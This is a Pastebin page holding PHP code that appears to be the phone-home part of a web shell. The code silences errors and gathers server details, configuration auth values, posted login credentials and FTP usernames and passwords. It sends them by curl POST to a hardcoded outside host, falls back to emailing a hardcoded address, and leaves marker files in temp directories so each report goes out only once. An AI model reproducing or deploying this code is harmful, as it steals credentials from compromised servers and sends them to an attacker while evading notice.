Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @error_reporting(0);
- @ini_set("display_errors", false);
- function rc1ire($f){ return @fclose(@fopen($f, 'r')) ? 1 : 0; }
- function rc1iwr($f){ return @fclose(@fopen($f, 'a')) ? 1 : 0; }
- function rc1wri($f,$c){ $fp=@fopen($f, 'w'); @fputs($fp, $c); @fclose($fp); }
- function rc1ffm($t){ return @str_replace("//","/",@str_replace("\\","/",$t)); }
- function rc1dd(){ return (@extension_loaded('curl') && @function_exists('curl_init')) ? 1 : 0; }
- function rc1tmp(){
- global $tempdir;
- if(@isset($tempdir)&&@is_dir($tempdir)&&@is_writable($tempdir)) return $tempdir;
- foreach(array("/tmp/","/var/tmp/","/usr/tmp/","/dev/shm/","%WINDIR/temp/") as $t){
- if(@file_exists($t)&&@is_dir($t)&&@is_writable($t)) return $t;
- }
- return false;
- }
- function rc1url(){
- $h = (empty($_SERVER['HTTPS']) || strtolower($_SERVER['HTTPS']) == 'off' ? false : true);
- $u = 'http' . (($h ? 's' : '') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
- $m = (empty($_SERVER['PATH_INFO']) ? 'QUERY_STRING' : 'PATH_INFO');
- $s = $m == 'QUERY_STRING' ? '?' : '';
- return $u . $s . (isset($_SERVER[$m]) ? $_SERVER[$m] : '');
- }
- if(rc1dd()) {
- function rc1p($u,$v,$h){
- if($h != "1" && $h != "0") $h = "0";
- $v = "content_type=new_data_entry&base_content=" . @urlencode(@base64_encode($v)) . "&hidden_type=" . $h . "&sys_type=" . PHP_OS . "&ip=" . $_SERVER['REMOTE_ADDR'];
- $a = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR";
- $u = "http://" . $u;
- $c = @curl_init();
- @curl_setopt($c, CURLOPT_URL, $u);
- @curl_setopt($c, CURLOPT_USERAGENT, $a);
- @curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- @curl_setopt($c, CURLOPT_POST, 1);
- @curl_setopt($c, CURLOPT_POSTFIELDS, $v);
- @curl_setopt($c, CURLOPT_TIMEOUT, 4);
- @curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 4);
- $r = @curl_exec($c);
- @curl_close($c);
- return (!@empty($r) && @strstr($r, "saved_rcshell_entry")) ? 1 : 0;
- }
- }
- function rc1ftp($t=0){
- global $act,$ftp_server,$ftp_port,$ftp_username,$ftp_password;
- $n="\n";
- $c=0;
- $v='';
- if(@isset($act)&&$act=="ftp"&&@isset($ftp_port)&&!@empty($ftp_port)&&@isset($ftp_server)&&@isset($ftp_username)&&@isset($ftp_password)&&!@empty($ftp_server)&&!@empty($ftp_username)&&!@empty($ftp_password)){
- $c=1;
- $v="FTP: $ftp_server:$ftp_port|USER: $ftp_username|PASS: $ftp_password\n";
- }
- if($t!==0){
- if(!$c) return '';
- if(@function_exists("ftp_connect")&&@function_exists("ftp_login")&&@function_exists("ftp_close")){
- $fff = @ftp_connect($ftp_server,$ftp_port,3);
- if($fff) {
- if(@ftp_login($fff, $ftp_username, $ftp_password)){
- @ftp_close($fff);
- return $v;
- }
- @ftp_close($fff);
- }
- }
- return '';
- }
- return $v;
- }
- function rc1cfg($ar){
- $n="\n";
- global $config;
- $r='';
- foreach(array('version','auth','default_vars') as $c){
- if(@isset($config[$c])){
- if(@is_array($config[$c])){
- foreach($config[$c] as $k=>$v) @$r.=$c." ".$k."=".$v.$n;
- } else {
- @$r.=$c."=".$config[$c].$n;
- }
- }
- }
- return $r;
- }
- function rc1pst(){
- $n="\n";
- $v='';
- global $config;
- if(@isset($config["auth"]["md5_user"])&&@isset($config["auth"]["md5_pass"])&&@isset($_POST["zu"])&&@isset($_POST["zp"])){
- if($config["auth"]["md5_user"]==@md5($_POST["zu"])&&$config["auth"]["md5_pass"]==$_POST["zp"]){
- $v.="zu=".$_POST["zu"].$n;
- $v.="zp=".$_POST["zp"].$n;
- }
- }
- return $v;
- }
- function rc1add($ar){
- global $bsafe,$bopendir;
- $n="\n";
- $v="URL=".rc1url().$n.$n;
- $v .= "php=".@phpversion().$n;
- $v .= "safe_mode=".((@isset($bsafe)) ? (($bsafe) ? "ON":"OFF") :"?").$n;
- $v .= "open_dir=".((@isset($bopendir)) ? (($bopendir) ? "YES":"NO") :"?").$n;
- $v .= rc1pst();
- $v .= rc1cfg();
- $v .= rc1ftp();
- foreach(array('SERVER_NAME','SERVER_ADDR','SERVER_PORT','HTTP_REFERER','PHP_SELF','REQUEST_URI','SCRIPT_NAME','SCRIPT_FILENAME','CLIENT_IP','REMOTE_ADDR') as $sv){
- if(@isset($_SERVER[$sv])){ $v.=$sv."=".$_SERVER[$sv].$n; }
- }
- return $v;
- }
- function rc1sd($h,$v,$s,$u1,$m1){
- if(rc1dd()) {
- if(!rc1p($u1, $v, $h)) @mail($m1, $s, $v);
- } else {
- @mail($m1, $s, $v);
- }
- }
- $rc1tmp=rc1tmp();
- if($rc1tmp!==false){
- @$r = rc1ffm($rc1tmp . "/" . @md5(@uniqid(@rand()) . @md5(@time())));
- if(rc1iwr($r)) {
- $cfile = rc1ffm($rc1tmp . "/www_sess_" . @md5(rc1url().rc1cfg()));
- @unlink($r);
- $m1 = "peterlegere51@yahoo.com";
- $u1 = "peterlegere.byethost2.com/news/index.php";
- $s = PHP_OS ."|".rc1url();
- $h = "0";
- if(!rc1ire($cfile)) {
- $v = rc1add();
- rc1sd($h, $v, $s, $u1, $m1);
- rc1wri($cfile, "1");
- }
- $fv=rc1ftp(1);
- if(!@empty($fv)){
- $h = "1";
- $sfile = rc1ffm($rc1tmp . "/www_sess_" .@md5($cfile.$fv));
- if(!rc1ire($sfile)) {
- $v = rc1add();
- rc1sd($h, $v, "FTP|".$s, $u1, $m1);
- rc1wri($sfile, "1");
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement